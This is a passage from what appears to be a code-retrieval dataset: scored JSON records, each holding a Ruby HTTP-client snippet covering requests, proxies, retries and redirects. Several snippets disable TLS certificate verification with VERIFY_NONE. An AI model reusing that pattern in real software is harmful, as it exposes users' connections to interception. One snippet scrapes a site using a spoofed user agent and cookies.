http.start do\n\t\t\t res = http.request req\n\t\t\t\t\t# response = res.body\n\t\t\t\t\t\n\t\t\t\t\ttries = 0\n\t\t\t\t\tresponse = case res\n\t\t\t\t\t\twhen Net::HTTPSuccess, Net::HTTPRedirection\n\t\t\t\t\t\t\tres.body\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\ttries += 1\n\t\t\t\t\t\t\tif tries > @@max_connection_tries\n\t\t\t\t\t\t\t\traise Wowr::Exceptions::NetworkTimeout.new('Timed out')\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tretry\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t end\n\t\t\trescue \n\t\t\t\traise Wowr::Exceptions::ServerDoesNotExist.new('Specified server at ' + url + ' does not exist.');\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "7b46aec5822a8a5f3fcb57cf26d72e7c", "score": "0.6517752", "text": "def http_get_direct(url)\n log(\"http get : #{url}\") if $opt[\"debug\"]\n begin\n html = Net::HTTP.get_response(URI.parse(url)).body\n # XXX must fix the rescue its not working\n rescue => err\n log(\"Error: #{err}\")\n exit 2\n end\n html\nend", "title": "" }, { "docid": "31adaa2dfa94f6cec0d62ac44537e898", "score": "0.65129685", "text": "def http_request(url, options = {})\n\t\t\treq = Net::HTTP::Get.new(url)\n\t\t\treq[\"user-agent\"] = @@user_agent # ensure returns XML\n\t\t\treq[\"cookie\"] = \"cookieMenu=all; cookieLangId=\" + options[:lang] + \"; cookies=true;\"\n\t\t\t\n\t\t\treq[\"cookie\"] += options[:cookie] if options[:cookie]\n\n\t\t\turi = URI.parse(URI.escape(url))\n\t\t\t\n\t\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\t\t\n\t\t\tif (options[:secure])\n\t\t\t\tputs \"Secure authentication\" if options[:debug]\n\n\t\t\t\thttp.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\t\t\t\thttp.use_ssl = true\n\t\t\tend\n\t\t \n\t\t\t\n\t\t\tbegin\n\t\t\t\ttries = 0\n\t\t\t http.start do\n\t\t\t\t puts \"Get URL \"+ url if options[:debug]\n\t\t\t res = http.request req\n\t\t\t\t\t# response = res.body\n\t\t\t\t\t\n\t\t\t\t\t# FIXME WoW Armory rate limiter. Simple version\n\t\t\t\t\t# Needs to work across instances and not sleep for 1.5 if the\n\t\t\t\t\t# request took more than 1.5\n\t\t\t\t\t# just need a 1.5 second wait until the start of the next request\n \n if options[:rate_limit]\n\t\t\t\t\t puts \"Sleeping for 1.5 seconds\" if options[:debug]\n \t\t\t\t\tsleep 1.5\n\t\t\t\t\tend\n\n\t\t\t\t\tresponse = case res\n\t\t\t\t\t\twhen Net::HTTPSuccess, Net::HTTPRedirection\n\t\t\t\t\t\t\tres.body\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\ttries += 1\n\t\t\t\t\t\t\tif tries > @@max_connection_tries\n\t\t\t\t\t\t\t\traise Wowr::Exceptions::NetworkTimeout.new('Timed out')\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tredo\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t end\n\t\t\trescue Timeout::Error => e\n raise Wowr::Exceptions::NetworkTimeout.new('Timed out - Timeout::Error Exception')\n\t\t\trescue SocketError, Net::HTTPExceptions => e\n\t\t\t\traise Wowr::Exceptions::ServerDoesNotExist.new('Specified server at ' + url + ' does not exist.')\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "e8f1f6e405a8ff5930d0cf65fa4e1290", "score": "0.6482895", "text": "def read_http(url)\n uri = URI(url)\n Net::HTTP.get_response(uri)\nend", "title": "" }, { "docid": "e8f1f6e405a8ff5930d0cf65fa4e1290", "score": "0.6482895", "text": "def read_http(url)\n uri = URI(url)\n Net::HTTP.get_response(uri)\nend", "title": "" }, { "docid": "e54130e7713e73056c76f1e66c69d0e5", "score": "0.6469759", "text": "def http_client uri, proxy = nil, read_timeout = nil, open_timeout = nil\n @http ||= (\n http = if proxy\n proxy_user, proxy_pass = proxy.userinfo.split(/:/) if proxy.userinfo\n Net::HTTP.Proxy(proxy.host, proxy.port, proxy_user, proxy_pass).new uri.host, uri.port\n else\n Net::HTTP.new uri.host, uri.port\n end\n http.use_ssl = uri.port == 443 || uri.instance_of?(URI::HTTPS)\n http.read_timeout = read_timeout if read_timeout\n http.open_timeout = open_timeout if open_timeout\n http\n )\n end", "title": "" }, { "docid": "f89f35cae19cda014dbe487df81a8a2b", "score": "0.64670825", "text": "def http_get(url)\n # get proxy info\n proxy_host, proxy_port = find_http_proxy\n # $stderr.puts \"DEBUG: proxy: host = #{proxy_host}, port = #{proxy_port}\"\n\n # get host, port, and base URI for API queries\n uri = URI.parse(@base_uri)\n base = uri.request_uri\n\n # prepend base to url\n url = \"#{base}/#{url}\"\n\n # connect to delicious\n http = Net::HTTP.Proxy(proxy_host, proxy_port).new(uri.host, uri.port)\n\n if uri.scheme == 'https'\n # check to make sure we have SSL support\n raise NoSSLError, \"Unsupported URI scheme 'https'\" unless HAVE_SSL\n init_http_ssl(http)\n end\n\n # start HTTP connection\n http = http.start\n\n # get URL, check for error\n resp = http.get(url, @headers)\n raise HTTPError, \"HTTP #{resp.code}: #{resp.message}\" unless resp.code =~ /2\\d{2}/\n\n # close HTTP connection, return response\n http.finish\n resp.body\n end", "title": "" }, { "docid": "973a95bb631cbe6bb759e6626d16cd51", "score": "0.6452559", "text": "def http_get(end_point)\n uri= URI.parse \"#{@main_url}#{end_point}\"\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Get.new(uri.request_uri)\n request.basic_auth(@username, @api_key)\n response = http.request(request)\n response.body\nend", "title": "" }, { "docid": "c880d6093f7c99c8f57493df3fe5daad", "score": "0.64502", "text": "def make_request(url,headers,query)\n c = HTTPClient.new\n c.get_content(url,query,headers)\nend", "title": "" }, { "docid": "090038d0a5484a63c2f673bd2dc709e6", "score": "0.64426255", "text": "def start_http(server,path,port,scheme,headers) # :nodoc:\n if (@http[server].nil?)\n begin\n @http[server] = Net::HTTP::Proxy(self.proxy_host, self.proxy_port).new(server,port)\n if scheme == \"https\"\n @http[server].use_ssl = true\n @http[server].verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n @http[server].start\n rescue\n raise CloudServers::Exception::Connection, \"Unable to connect to #{server}\"\n end\n end\n end", "title": "" }, { "docid": "e000e44345823339534e7965e3da48b4", "score": "0.64407593", "text": "def send_proxy_connect_request(req); end", "title": "" }, { "docid": "85942c50abcda890654dae3da812a2fe", "score": "0.64359015", "text": "def http\n @http || prepare_http_connection\n end", "title": "" }, { "docid": "8222b9d0f2ccca8f1e1bf226d78e3e3e", "score": "0.64349884", "text": "def http=(_arg0); end", "title": "" }, { "docid": "47fa8135c1a13171ff4b3c3dc1752d5f", "score": "0.64304835", "text": "def http_get(url)\n # set HTTP version to 1.2\n Net::HTTP::version_1_2\n\n urls = %w{api proxy}.inject({}) do |ret, key|\n if url_val = @opt[\"#{key}_url\"] \n uri = parse_url(url_val, \"#{key} URL\")\n [:host, :port].each { |m| ret[\"#{key}_#{m}\"] = uri.send(m) }\n end\n\n ret\n end\n\n # connect to technorati\n http = Net::HTTP.Proxy(urls['proxy_host'], urls['proxy_port']).new(urls['api_host'], urls['api_port'])\n http.start\n\n # $stderr.puts \"DEBUG URL: #{url}\"\n\n # create HTTP headers hash\n http_headers = {\n 'User-Agent' => @opt['user_agent']\n }\n\n # get URL, check for error\n resp = http.get(url, http_headers)\n raise Technorati::HTTPError, \"HTTP #{resp.code}: #{resp.message}\" unless resp.code =~ /2\\d{2}/\n\n # close HTTP connection, return response\n http.finish\n resp.body\n end", "title": "" }, { "docid": "02b3bd3061247af47880e7c311a7d783", "score": "0.6425546", "text": "def http_get(uri)\n req = Net::HTTP::Get.new uri\n @additional_headers.keys.each do |k|\n req[k] = @additional_headers[k]\n end\n #STDERR.puts \"Trace: #{caller[0]} req: #{req.inspect}\"\n temp_uri = URI.parse(self.polldaddy)\n body=''\n Net::HTTP.start(temp_uri.hostname, temp_uri.port, proxyhost, proxyport) do |http|\n http.request(req) do |res|\n res.read_body do |segment|\n body << segment # this will retrieve the parts if the response is chunked\n end\n end\n end\n body#.tap{|t| STDERR.puts \"Trace: #{caller[1]}: returning #{t}\"}\n end", "title": "" }, { "docid": "3ab482c18462e8b9e3d782f41240cb65", "score": "0.6402022", "text": "def initialize(url_str)\n $LOG.info \"Getting URL '#{url_str}'\"\n uri = URI.parse(url_str)\n unless VALID_SCHEMES.include?(uri.scheme)\n $LOG.fatal \"URL protocol is not one of #{VALID_SCHEMES.join(',')}\"\n exit 1\n end\n if proxy = ENV['HTTP_PROXY']\n prx_uri = URI.parse(proxy)\n prx_host = prx_uri.host\n prx_port = prx_uri.port\n end\n\n h = Net::HTTP.new(uri.host, uri.port, prx_host, prx_port)\n h.set_debug_output($stderr) if $DEBUG\n h.use_ssl = uri.scheme == \"https\"\n h.verify_mode = OpenSSL::SSL::VERIFY_NONE # OpenSSL::SSL::VERIFY_PEER\n\n @body = ''\n begin\n @get_resp = h.get2(uri.request_uri, Config[:http_get_header]){|resp| @body += resp.body}\n rescue Exception => ex\n $LOG.fatal \"Unable to get web page. Error: #{ex}\"\n exit 1\n end\n\n if http_redirect?\n $LOG.debug \"#{@get_resp.class} is a kind of HTTPRedirection\"\n $LOG.debug \"Redirect location = #{redirect_location}\"\n elsif http_success?\n $LOG.debug \"#{@get_resp.class} is a kind of HTTPSuccess\"\n else\n $LOG.debug \"#{@get_resp.class} is neither HTTPSuccess nor HTTPRedirection!!!\"\n end\n\n end", "title": "" }, { "docid": "fff148c1e44a8304f8a02dd3d1a91717", "score": "0.63903177", "text": "def create_http_connection(uri); end", "title": "" }, { "docid": "348e23e257440908baccbc00ecb6459f", "score": "0.6385996", "text": "def proxy_addr; end", "title": "" }, { "docid": "39de3a0d6940d4ad08700ea4f7595d4a", "score": "0.63783854", "text": "def http *xs\n env.http *xs\n end", "title": "" }, { "docid": "f173e0632c48599f3541e26771f0388e", "score": "0.6376597", "text": "def make_http_request\n Net::HTTP.get_response('localhost', '/ping', 3000).body\nend", "title": "" }, { "docid": "c40ef223f489b07b11ffe4949a55cc2e", "score": "0.6376233", "text": "def proxy_connect_header; end", "title": "" }, { "docid": "957c88f52736589353f8dc1e95c22391", "score": "0.63708586", "text": "def http_get(endpoint)\n uri= URI.parse \"#{@main_url}#{endpoint}\"\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Get.new(uri.request_uri)\n request.basic_auth(@username, @api_key)\n response = http.request(request)\n response.body\nend", "title": "" }, { "docid": "c57cacb9d1a0e8bb2c153ce80e317a4a", "score": "0.6368282", "text": "def start_http(server,path,port,scheme,headers) # :nodoc:\n if (@http[server].nil?)\n begin\n @http[server] = Net::HTTP::Proxy(self.proxy_host, self.proxy_port).new(server,port)\n if scheme == \"https\"\n @http[server].use_ssl = true\n @http[server].verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n @http[server].start\n rescue\n raise OpenStack::Compute::Exception::Connection, \"Unable to connect to #{server}\"\n end\n end\n end", "title": "" }, { "docid": "6870ba16dc570f935ac736174f4cf025", "score": "0.6363808", "text": "def public_proxy?; end", "title": "" }, { "docid": "6870ba16dc570f935ac736174f4cf025", "score": "0.6363808", "text": "def public_proxy?; end", "title": "" }, { "docid": "37ca670d0614e5a12da52f68ab3d8805", "score": "0.63565177", "text": "def get_response(uri, req)\n Net::HTTP.start(uri.hostname, uri.port){|http| http.request(req) }\nend", "title": "" }, { "docid": "6ac80f9bcdaae7586e970075f8376b59", "score": "0.6317544", "text": "def url_test\n response = HTTParty.get('http://www.baidu.com')\n res = Rack::Response.new\n res.write response.body\n res.finish\n end", "title": "" }, { "docid": "916fba8bbf590088f2078322ec5452e8", "score": "0.62849826", "text": "def perform_proxy_request(req, res)\n uri = req.request_uri\n header = setup_proxy_header(req, res)\n # upstream = setup_upstream_proxy_authentication(req, res, header)\n response = nil\n\n http = Net::HTTP.new(uri.host, uri.port) # upstream.host, upstream.port)\n\n # HERE is what I add: SSL support\n if http.use_ssl = (uri.scheme == 'https' || uri.port == 443)\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n http.cert_store = ssl_cert_store\n end\n\n http.start do\n if @config[:ProxyTimeout]\n ################################## these issues are\n http.open_timeout = 30 # secs # necessary (maybe bacause\n http.read_timeout = 60 # secs # Ruby's bug, but why?)\n ##################################\n end\n response = yield(http, uri.request_uri, header)\n end\n\n # Persistent connection requirements are mysterious for me.\n # So I will close the connection in every response.\n res['proxy-connection'] = \"close\"\n res['connection'] = \"close\"\n\n # Convert Net::HTTP::HTTPResponse to WEBrick::HTTPResponse\n res.status = response.code.to_i\n choose_header(response, res)\n set_cookie(response, res)\n set_via(res)\n res.body = response.body\n end", "title": "" }, { "docid": "057efbc2a764eed42cb9d26df0740470", "score": "0.62849295", "text": "def http( *args )\n p http_get( *args )\n end", "title": "" }, { "docid": "791261e2cd007cde3f3a4c5e3a1a68c5", "score": "0.62711614", "text": "def consume_url; end", "title": "" }, { "docid": "5dbf61a1011c084251d4e5b41d2f3270", "score": "0.6259573", "text": "def ident_http_request(method, uri_string, credentials=nil, headers={}, data=nil, limit = 3, open_timeout=15, read_timeout=15)\n\n response = nil\n begin\n\n # set user agent\n user_agent = \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36\"\n headers[\"User-Agent\"] = user_agent\n\n attempts=0\n max_attempts=limit\n found = false\n timeout = false\n\n uri = URI.parse uri_string\n\n # keep track of redirects\n response_urls = [\"#{uri}\"]\n\n unless uri\n _log error \"Unable to parse URI from: #{uri_string}\"\n return\n end\n\n until( found || attempts >= max_attempts)\n @task_result.logger.log \"Getting #{uri}, attempt #{attempts}\" if @task_result\n attempts+=1\n\n if $global_config\n if $global_config.config[\"http_proxy\"]\n proxy_config = $global_config.config[\"http_proxy\"]\n proxy_addr = $global_config.config[\"http_proxy\"][\"host\"]\n proxy_port = $global_config.config[\"http_proxy\"][\"port\"]\n proxy_user = $global_config.config[\"http_proxy\"][\"user\"]\n proxy_pass = $global_config.config[\"http_proxy\"][\"pass\"]\n end\n end\n\n # set options\n opts = {}\n if uri.instance_of? URI::HTTPS\n opts[:use_ssl] = true\n opts[:verify_mode] = OpenSSL::SSL::VERIFY_NONE\n end\n\n http = Net::HTTP.start(uri.host, uri.port, proxy_addr, proxy_port, opts)\n http.open_timeout = open_timeout\n http.read_timeout = read_timeout\n\n path = \"#{uri.path}\"\n path = \"/\" if path==\"\"\n\n # add in the query parameters\n if uri.query\n path += \"?#{uri.query}\"\n end\n\n ### ALLOW DIFFERENT VERBS HERE\n if method == :get\n request = Net::HTTP::Get.new(uri)\n elsif method == :post\n # see: https://coderwall.com/p/c-mu-a/http-posts-in-ruby\n request = Net::HTTP::Post.new(uri)\n request.body = data\n elsif method == :head\n request = Net::HTTP::Head.new(uri)\n elsif method == :propfind\n request = Net::HTTP::Propfind.new(uri.request_uri)\n request.body = \"Here's the body.\" # Set your body (data)\n request[\"Depth\"] = \"1\" # Set your headers: one header per line.\n elsif method == :options\n request = Net::HTTP::Options.new(uri.request_uri)\n elsif method == :trace\n request = Net::HTTP::Trace.new(uri.request_uri)\n request.body = \"blah blah\"\n end\n ### END VERBS\n\n # set the headers\n headers.each do |k,v|\n request[k] = v\n end\n\n # handle credentials\n if credentials\n request.basic_auth(credentials[:username],credentials[:password])\n end\n\n # USE THIS TO PRINT HTTP REQUEST\n #request.each_header{|h| _log_debug \"#{h}: #{request[h]}\" }\n # END USE THIS TO PRINT HTTP REQUEST\n\n # get the response\n response = http.request(request)\n\n if response.code==\"200\"\n break\n end\n\n if (response.header['location']!=nil)\n newuri=URI.parse(response.header['location'])\n if(newuri.relative?)\n newuri=URI.parse(\"#{uri}#{response.header['location']}\")\n end\n response_urls << ident_encode(newuri.to_s)\n uri=newuri\n\n else\n found=true #resp was 404, etc\n end #end if location\n end #until\n\n final_url = uri\n\n ### TODO - create a global $debug config option\n \n rescue ArgumentError => e\n #puts \"Unable to connect #{uri}: #{e}\"\n rescue Net::OpenTimeout => e\n #puts \"Unable to connect #{uri}: #{e}\"\n timeout = true\n rescue Net::ReadTimeout => e\n #puts \"Unable to connect #{uri}: #{e}\"\n timeout = true\n rescue Errno::ENETDOWN => e\n #puts \"Unable to connect #{uri}: #{e}\" \n rescue Errno::ETIMEDOUT => e\n #puts \"Unable to connect #{uri}: #{e}\" \n timeout = true\n rescue Errno::EINVAL => e\n #puts \"Unable to connect #{uri}: #{e}\"\n rescue Errno::ENETUNREACH => e\n #puts \"Unable to connect #{uri}: #{e}\"\n rescue Errno::EHOSTUNREACH => e\n #puts \"Unable to connect #{uri}: #{e}\"\n rescue URI::InvalidURIError => e\n #\n # XXX - This is an issue. We should catch this and ensure it's not\n # due to an underscore / other acceptable character in the URI\n # http://stackoverflow.com/questions/5208851/is-there-a-workaround-to-open-urls-containing-underscores-in-ruby\n #\n #puts \"Unable to connect #{uri}: #{e}\"\n rescue OpenSSL::SSL::SSLError => e\n #puts \"Unable to connect #{uri}: #{e}\" \n rescue Errno::ECONNREFUSED => e\n #puts \"Unable to connect #{uri}: #{e}\" \n rescue Errno::ECONNRESET => e\n #puts \"Unable to connect #{uri}: #{e}\" \n rescue Net::HTTPBadResponse => e\n #puts \"Unable to connect #{uri}: #{e}\" \n rescue Zlib::BufError => e\n #puts \"Unable to connect #{uri}: #{e}\" \n rescue Zlib::DataError => e # \"incorrect header check - may be specific to ruby 2.0\"\n #puts \"Unable to connect #{uri}: #{e}\" \n rescue EOFError => e\n #puts \"Unable to connect #{uri}: #{e}\" \n rescue SocketError => e\n #puts \"Unable to connect #{uri}: #{e}\" \n rescue Encoding::InvalidByteSequenceError => e\n #puts \"Encoding issue #{uri}: #{e}\" \n rescue Encoding::UndefinedConversionError => e\n #puts \"Encoding issue #{uri}: #{e}\" \n end\n\n # generate our output\n out = {\n :timeout => timeout,\n :start_url => uri_string,\n :final_url => final_url.to_s,\n :request_type => :ruby,\n :request_method => method,\n :request_credentials => credentials,\n :request_headers => headers,\n :request_data => data,\n :request_attempts_limit => limit,\n :request_attempts_used => attempts,\n :request_user_agent => user_agent,\n :request_proxy => proxy_config,\n :response_urls => response_urls,\n :response_object => response\n }\n\n # verify we have a response before adding these\n if response\n out[:response_headers] = response.each_header.map{|x| ident_encode \"#{x}: #{response[x]}\" }\n out[:response_body] = ident_encode(response.body)\n end\n\n out\n end", "title": "" }, { "docid": "cef1ceb832dbf0f319c1b00c89e2fed3", "score": "0.62481177", "text": "def proxy_connect_headers; end", "title": "" }, { "docid": "f5ad7877064b7fe04576d93f3ef4ba01", "score": "0.62313944", "text": "def connect_through_proxy; end", "title": "" }, { "docid": "40666dcba9941e342f3cddf686a3f52e", "score": "0.62169254", "text": "def getHTTP(url)\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = uri.scheme == 'https'\n request = Net::HTTP::Get.new(uri.request_uri)\n http.request(request)\nend", "title": "" }, { "docid": "554d9d508e0d310ed6cc7d8477e59bc7", "score": "0.62127453", "text": "def try_to_parse_proxy_protocol; end", "title": "" }, { "docid": "0d3c4d6b1213ecaa90e9b12b2f4d76a2", "score": "0.6206579", "text": "def http_client\n # pass any proxy settings.\n proxy = Net::HTTP::Proxy(self.class.proxy_host, self.class.proxy_port,\n self.class.proxy_user, self.class.proxy_pass)\n http = proxy.new('api.exceptional.io', http_port)\n\n # set http client options.\n http.read_timeout = self.class.http_read_timeout || 5\n http.open_timeout = self.class.http_open_timeout || 2\n http.use_ssl = use_ssl?\n\n http\n end", "title": "" }, { "docid": "32baedf966838821ac945960396b62d3", "score": "0.6196413", "text": "def get (dir) #DIR is path to RES\r\n\tbegin\r\n\t\taddress=$server+dir\r\n\t\turi = URI.parse(address)\r\n\t\tdebugging \"Get URI: #{uri}\"\r\n\t\trequest = Net::HTTP.get_response(uri)\r\n\t\tdebugging \"Response #{request}\"\t\r\n\t\tbody=request.body\r\n\t\tdebugging \"Body: #{body}\"\t\r\n\t\tbody=JSON.parse (body)\r\n\t\tcode=request.code\r\n\t\tdebugging \"Response Code: #{code}\"\r\n\t\tresponse={'body'=>body,'code'=>code,'exception'=>false}\r\n\t\tdebugging \"Response content: #{response}\"\r\n\t\treturn response\r\n\trescue Exception =>msg\r\n\t\tresponse={'body'=>msg,'code'=>401, 'exception' =>true}\r\n\t\tdebugging \"Response content: #{response}\"\r\n\t\treturn response\r\n\tend\r\n\r\nend", "title": "" }, { "docid": "e8c25f8e5b00dea1023af2b2ba35104d", "score": "0.61943346", "text": "def proxy_response_headers; end", "title": "" }, { "docid": "bd425df91ea51f3fd4c28eba66467d72", "score": "0.6190872", "text": "def raw_response; end", "title": "" }, { "docid": "a796d862fd4aec36d8381493fae809ff", "score": "0.61896074", "text": "def proxies; end", "title": "" }, { "docid": "3e31cc7e48c23b88c04d5fa893ab7bfb", "score": "0.61797035", "text": "def http\n @http ||= create_http\n end", "title": "" }, { "docid": "3e31cc7e48c23b88c04d5fa893ab7bfb", "score": "0.61797035", "text": "def http\n @http ||= create_http\n end", "title": "" }, { "docid": "01dba19cf145b7238e382103277f042d", "score": "0.6172595", "text": "def request_page(url, cookies)\n proxy_host, proxy_port = check_proxy\n headers = {\n 'Host' => 'www.jigsaw.com',\n 'User-Agent' => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0',\n 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n 'Accept-Language' => 'en-US,en;g=0.5',\n #\"Accept-Encoding\" => 'gzip, deflate',\n 'Content-Type' => 'text/plain',\n 'Pragma' => 'no-cache',\n 'Content-Length' => '0',\n 'Cache-Control' => 'no-cache',\n 'Connection' => 'keep-alive',\n 'DNT' => '1',\n 'Cookie' => cookies.to_s\n }\n puts output_http(headers, 'request') if @options[:debug]\n http = Net::HTTP.new('www.jigsaw.com', 80, proxy_host, proxy_port)\n resp, data = http.get(url, headers)\n puts output_http(resp.header.to_hash, 'response') if @options[:debug]\n return resp\nend", "title": "" }, { "docid": "4f45abe20c8db20b98f2ec20e5d7a228", "score": "0.6170139", "text": "def ensure_http \n url.ensure_http\n end", "title": "" }, { "docid": "c5036a247d6d36888e108137980f43eb", "score": "0.61660415", "text": "def request; end", "title": "" }, { "docid": "c5036a247d6d36888e108137980f43eb", "score": "0.61660415", "text": "def request; end", "title": "" }, { "docid": "c5036a247d6d36888e108137980f43eb", "score": "0.61660415", "text": "def request; end", "title": "" }, { "docid": "c5036a247d6d36888e108137980f43eb", "score": "0.61660415", "text": "def request; end", "title": "" }, { "docid": "c5036a247d6d36888e108137980f43eb", "score": "0.61660415", "text": "def request; end", "title": "" }, { "docid": "c5036a247d6d36888e108137980f43eb", "score": "0.61660415", "text": "def request; end", "title": "" }, { "docid": "c5036a247d6d36888e108137980f43eb", "score": "0.61660415", "text": "def request; end", "title": "" }, { "docid": "c5036a247d6d36888e108137980f43eb", "score": "0.61660415", "text": "def request; end", "title": "" }, { "docid": "c5036a247d6d36888e108137980f43eb", "score": "0.61660415", "text": "def request; end", "title": "" }, { "docid": "c5036a247d6d36888e108137980f43eb", "score": "0.61660415", "text": "def request; end", "title": "" }, { "docid": "c5036a247d6d36888e108137980f43eb", "score": "0.61660415", "text": "def request; end", "title": "" }, { "docid": "f3057d7dbdc4c61c3148eae5bddf96fb", "score": "0.6159217", "text": "def new_http(uri)\n if config.http_proxy\n proxy = URI.parse(config.http_proxy)\n Net::HTTP.new(uri.host, uri.port, proxy.host, proxy.port, proxy.user, proxy.password)\n else\n Net::HTTP.new(uri.host, uri.port)\n end\n end", "title": "" }, { "docid": "e48b9a9cc5f08a67dbc5b1a0091af1c8", "score": "0.61336577", "text": "def setup_http_request(obj, cookie=nil, args={})\n if args.has_key?(:url) and args[:url] != nil\n if args[:url].scan(/%[s|d]/).length > 0\n if args[:url].scan(/%[s|d]/).length != args[:url_arg].length\n ALERT.call(caller_locations, __callee__, \"URL contains %d '%%s' or '%%d' argument... Fix your code\" % args[:url].scan(/%[s|d]/).length)\n exit 2\n end\n req = obj[:method].new(args[:url] % args[:url_arg])\n else\n req = obj[:method].new(args[:url])\n end\n else\n if args.has_key?(:url_arg)\n if obj[:url].scan(/%[s|d]/).length > 0\n if obj[:url].scan(/%[s|d]/).length != args[:url_arg].length\n ALERT.call(caller_locations, __callee__, \"URL contains %d '%%s' or '%%d' argument... Fix your code\" % obj[:url].scan(/%[s|d]/).length)\n exit 2\n end\n req = obj[:method].new(obj[:url] % args[:url_arg])\n else\n req = obj[:method].new(obj[:url])\n end\n else\n req = obj[:method].new(obj[:url])\n end\n end\n req[\"Host\"] = \"www.blablacar.fr\"\n req[\"origin\"] = \"https://www.blablacar.fr\"\n req[\"User-Agent\"] = \"Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0\"\n req[\"Accept\"] = \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\"\n if obj.has_key?(:referer)\n req['Referer'] = obj[:referer]\n else\n req[\"Referer\"] = \"https://www.blablacar.fr/dashboard\"\n end\n req.add_field(\"Connection\", \"keep-alive\")\n if cookie\n req.add_field(\"Cookie\", cookie)\n end\n if obj.has_key?(:header)\n obj[:header].each_slice(2).map{|h|\n req.add_field(h[0], h[1])\n }\n end\n if obj.has_key?(:data)\n if obj[:data].scan(/%[s|d]/).length > 0\n if obj[:data].scan(/%[s|d]/).length != args[:arg].length\n ALERT.call(caller_locations, __callee__, \"Body request contains %d '%%s' or '%%d' argument... Fix your code\" % obj[:data].scan(/%[s|d]/).length)\n exit 2\n else\n req.body = obj[:data] % args[:arg]\n end\n else\n req.body = obj[:data]\n end\n req['Content-Length'] = req.body.length\n end\n req\nend", "title": "" }, { "docid": "c061e7cef3814b60fc0a27de3d83da8d", "score": "0.6116616", "text": "def proxy_port; end", "title": "" }, { "docid": "f6c79c7890fde758b4942236e9943957", "score": "0.61088467", "text": "def http\n PostageApp::HTTP.connect(self)\n end", "title": "" }, { "docid": "c0d859300392c1e4f271e7b63f231337", "score": "0.60987943", "text": "def retrieve\n http_class = http_proxy @proxy[:host], @proxy\n\n @_req = http_class.new @uri.host, @uri.port\n\n @_req.read_timeout = @timeout if @timeout\n @_req.use_ssl = true if @uri.scheme =~ /^https$/\n\n elapsed_time = nil\n socket = nil\n socket_io = nil\n\n @_res = @_req.start do |http|\n socket = http.instance_variable_get \"@socket\"\n socket.debug_output = socket_io = StringIO.new\n\n start_time = Time.now\n res = http.request self.http_request, @body\n elapsed_time = Time.now - start_time\n\n res\n end\n\n Kronk.cookie_jar.set_cookies_from_headers @uri.to_s, @_res.to_hash if\n self.use_cookies\n\n @response = Response.new socket_io, @_res, self\n @response.time = elapsed_time\n\n @response\n end", "title": "" }, { "docid": "ecf22c94410cfaeeffbd27b6bd53dad3", "score": "0.60968345", "text": "def bind(url); end", "title": "" }, { "docid": "d95898320eb4a9bf7e1075a360f51420", "score": "0.60918134", "text": "def get query = nil\n\t\tif (query = make_query query)\n\t\t\t@uri.query = @uri.query ? @uri.query+\"&\"+query : query\n\t\tend\n\t\tfull_path = @uri.path + (@uri.query ? \"?#{@uri.query}\" : \"\")\n\t\t\t\n\t\treq = Net::HTTP::Get.new(full_path)\n\t\t# puts Net::HTTP::Proxy(@proxy_host, @proxy_port, @proxy_user, @proxy_pwd).get(@uri)\n\t\tdo_http req\n\tend", "title": "" }, { "docid": "be6489b68ac86a698dc9320d777fb27b", "score": "0.6088258", "text": "def get_request\n# Use our @http_object object's request method to call the\n# Net::HTTP::Get class and return the resulting response object\n @http_object.request(Net::HTTP::Get.new(@url.request_uri))\n end", "title": "" }, { "docid": "d3068bd0b49f8e2477ad2ae8aeb7001c", "score": "0.6083271", "text": "def baseurl; end", "title": "" }, { "docid": "66e76c7c776c30014318fe5d64e19a4d", "score": "0.6079204", "text": "def fetch_url(https,req)\n res = https.request(req)\n case res\n when Net::HTTPSuccess\n answer=JSON.parse(res.body)\n return answer\n else\n puts \"HTTP Error #{res.code} calling #{https}\"\n res.error!\n end\nend", "title": "" }, { "docid": "24e39a776952dbc0aa5c5bebe4e53665", "score": "0.6077499", "text": "def perform(request, response); end", "title": "" }, { "docid": "4101632ca2c9100cc6b04e4a3f60cd22", "score": "0.60752976", "text": "def serve_from_remote!\n uri = URI.parse(request.uri)\n\n req = Net::HTTP::Get.new(uri.path)\n req.initialize_http_header(request.options)\n http_response = Net::HTTP.new(uri.host, uri.port).start do |http|\n http.open_timeout = http.read_timeout = ::SETTINGS['http_timeout']\n http.request(req)\n end\n\n response = wrap_response(http_response)\n if response.cacheable?\n puts \"\\nCaching '#{request.uri}'\" if ::SETTINGS['debug']\n TinyProxy::Cache.add(request.uri, response)\n end\n response\n rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, SocketError,\n Net::HTTPBadResponse, Net::HTTPHeaderSyntaxError, Net::ProtocolError => e\n puts \"NetHTTP Error occured\"\n error_response(e.message)\n end", "title": "" }, { "docid": "152752bf4cb1e7876e48f33e8071ba54", "score": "0.60674065", "text": "def connect_using_proxy(socket); end", "title": "" }, { "docid": "216d6fabd32b46f8239db348d2684429", "score": "0.60627353", "text": "def localhost_http_get path = nil\n Net::HTTP.get(URI.parse(localhost_url(path)))\n end", "title": "" }, { "docid": "bca28c9dea3b691dc2fb32e591b41094", "score": "0.60559225", "text": "def http_peek(url)\n @log.debug \"http_peek... #{url}\"\n uri = Addressable::URI.parse url\n if uri.port\n http 